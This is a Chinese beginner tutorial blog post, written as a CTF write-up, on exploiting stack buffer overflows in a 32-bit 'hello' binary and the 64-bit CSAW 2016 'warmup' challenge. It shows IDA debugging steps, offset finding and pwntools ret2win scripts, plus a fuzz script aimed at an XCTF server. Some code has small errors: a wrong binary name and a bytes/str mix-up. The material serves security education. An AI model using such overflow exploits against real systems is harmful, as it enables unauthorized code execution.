美文网首页
缓冲区溢出实例(入门级)

缓冲区溢出实例(入门级)

作者: doinb1517 | 来源:发表于2021-12-03 14:28 被阅读0次

前言

缓冲区溢出是比较基础的漏洞,这里使用两个实例来帮助理解缓冲区溢出。分别是32位和64位的程序。

题目:hello X86

尝试运行程序,输入hello,返回如下。linux上调试常使用GDB配合常用插件,关于环境的搭建可以自行搜索PWN环境搭建,本次使用IDA远程调试linux程序。

01.png

首先使用file命令和checksec检查程序

┌──(kali㉿kali)-[~/桌面]
└─$ file hello
hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=547379e1b7bd695a7546d2a3321e199c0474dfa9, not stripped

02.png

各种保护机制都没有开启。

  • RELRO

    分为Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表

  • Stack

    如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过。

  • NX

    NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过。

  • PIE

    PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址。

  • FORTIFY

    FORTIFY_SOURCE机制对格式化字符串有两个限制,一是包含%n的格式化字符串不能位于程序内存中的可写地址;二是当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6

使用IDA打开hello文件

03.png

双击进入hello函数,F5查看反汇编伪代码。

int hello()
{
  int buf[2]; // [esp+6h] [ebp-12h] BYREF
  __int16 v2; // [esp+Eh] [ebp-Ah]

  buf[0] = 0;
  buf[1] = 0;
  v2 = 0;
  read(0, buf, 0x64u);
  return printf("Hello, %s\n", (const char *)buf);
}

很明显的缓冲区溢出漏洞,继续查看Exports(导出表)

04.png

导出表有getshell()函数,利用思路很明确了:利用read()函数缓冲区溢出,覆盖hello的返回地址为getshell()的地址即可。地址为0x0804846b

14.png

开始使用IDA远程调试

复制IDA -> dbgsrv -> linux_server文件到kali中,和需要调试的文件放在同一目录下。./linux_server运行server端。

05.png

在IDA上设置Debugger,选择remote Linux debugger

06.png

F9开始debug,会跳出让你设置远程主机,只需要设置linux_server所在的路径和文件的绝对路径即可开始远程调试,默认的端口是23946Hostname填写kali的IP即可。

07.png

hello()_read()处打上断点

08.png 09.png

F9开始调试,F7单步步入

10.png

F9运行到_read()

kali中输入AAAA,IDA中F8,观察栈

11.png

可以看到如果输入22个A,继续输入就会覆盖返回地址,我们开始验证,输入22个A加4个B,那么返回地址应该被42覆盖。重复上面步骤。

12.png

F9继续运行,发现运行失败,因为这个地址不是合法的地址。

13.png

基本流程清楚以后使用pwntools写WP python3 wp.py即可获取交互式shell。

from pwn import *
context.update(arch="i386", os="linux", timeout=1)
io = process("./hello")
addr = 0x0804846b
payload = b"A"*22 + p32(addr)

io.send(payload)
io.interactive()

题目:csaw ctf 2016 quals-warmup X64

解法一

file查看

┌──(root💀kali)-[/home/kali/pwn/warmup]
└─# file warmup 
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped

checksec无保护

┌──(root💀kali)-[/home/kali/pwn/warmup]
└─# checksec warmup       
[*] '/home/kali/pwn/warmup/warmup'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

IDA中查看

15.png

跟进函数sub_40060D

16.png

利用原理明确,gets()函数缓冲区溢出,覆盖返回地址为0x40060d,覆盖长度为64(v5[rbp-40h]换算十进制为64)+8(64位ebp)

编写wp如下,运行wp即可得到flag。

from pwn import *
context.update(arch="amd64", os="linux", timeout=1)
io = process("./hello")
addr = 0x40060d
payload = b"A"*72 + p64(addr)

io.send(payload)
io.interactive()

解法二

XCTF也收录了这个题目,没有提供附件,介绍一下FUZZ(模糊测试)做法

17.png
from pwn import *
addr = 0x40060d
def send_fuzz(p, num, type):
    payload = b'A'*num
    if type == 1:
        payload += p32(addr)
    if type == 2:
        payload += p64(addr)
    p.sendlineafter('>', payload)
 
def main():
    for i in range(100):
        for j in range(1, 3):
            p = remote('111.200.241.244', 63229)  
            try:
                send_fuzz(p, i+1, j)
                r = p.recv()
                print('recv::length='+ str(len(r)) +',content=\''+r+'\'\n')
                p.interactive()
            except:  
                p.close()
 
main()

两份文件上传至Github,可以下载进行实验。

相关文章

网友评论

      本文标题:缓冲区溢出实例(入门级)

      本文链接:https://www.haomeiwen.com/subject/qmopxrtx.html